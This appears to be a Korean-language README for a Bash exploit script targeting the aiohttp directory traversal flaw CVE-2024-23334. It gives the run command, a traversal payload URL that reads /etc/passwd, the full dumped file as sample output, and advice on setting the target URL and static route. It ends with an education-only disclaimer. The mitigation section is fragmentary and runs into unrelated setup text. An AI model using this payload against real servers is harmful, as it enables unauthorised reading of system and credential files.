
aiohttp 서버 버전 3.9.1에서 로컬 파일 포함(LFI) 공격을 자동화하는 Bash 스크립트입니다.
취약한 aiohttp 서버에 대한 LFI(Local File Inclusion) 공격을 자동화하는 Bash 스크립트로, 특히 CVE-2024-23334를 대상으로 합니다. 이 익스플로잇은 정적 라우트가 잘못 구성된 영향을 받는 aiohttp 버전을 실행하는 시스템에서 임의의 파일에 무단으로 액세스할 수 있게 합니다.
CVE-2024-23334 취약점은 Python 및 asyncio용 aiohttp 비동기 HTTP 클라이언트/서버 프레임워크에 영향을 미칩니다. 이 취약점은 aiohttp가 정적 라우트와 함께 웹 서버로 사용될 때 발생하며, 잘못 구성된 경우 디렉토리 트래버설 취약점이 발생할 수 있습니다. 이를 통해 공격자는 권한 없이 시스템의 임의 파일에 액세스할 수 있습니다.
이 취약점에 대한 완화 방법은 다음과 같습니다:
follow_symlinks 옵션을 비활성화합니다.curl: HTTP 요청을 수행하는 데 사용되므로 시스템에 curl이 설치되어 있는지 확인하세요.스크립트를 실행하려면 다음 명령을 실행하세요:
./lfi_aiohttp.sh -f /path/to/file/to/dump
모든 것이 정상적으로 진행되면 다음과 유사한 결과가 표시됩니다:
[+] Curl output to the resulting url: http://localhost:8080/assets/../../..//etc/passwd.
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
fwupd-refresh:x:111:116:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
rosa:x:1000:1000:rosa:/home/rosa:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
app:x:1001:1001:,,,:/home/app:/bin/bash
_laurel:x:997:997::/var/log/laurel:/bin/false
[+] File dumped successfully.
중요: 스크립트의
main_url및payload변수는 대상 환경에 따라 조정이 필요할 수 있습니다.
main_url: 이 변수는 대상 aiohttp 서버의 URL(예: http://localhost:8080)로 설정해야 합니다. 테스트 중인 실제 서버 주소에 맞게 수정하세요.payload: 이 변수는 서버의 정적 파일 라우트(예: /assets/)를 나타냅니다. 이 경로가 대상 서버의 정적 파일 디렉토리 구성과 일치하는지 확인하세요.스크립트를 실행하기 전에 이러한 변수를 검토하여 테스트 시나리오에 맞게 올바르게 구성되었는지 확인하세요. 잘못된 설정은 파일 액세스 실패 또는 의도하지 않은 동작을 초래할 수 있습니다.
이 스크립트는 교육 목적 및 승인된 침투 테스트 전용입니다. 이 스크립트의 무단 사용은 금지되며 불법일 수 있습니다.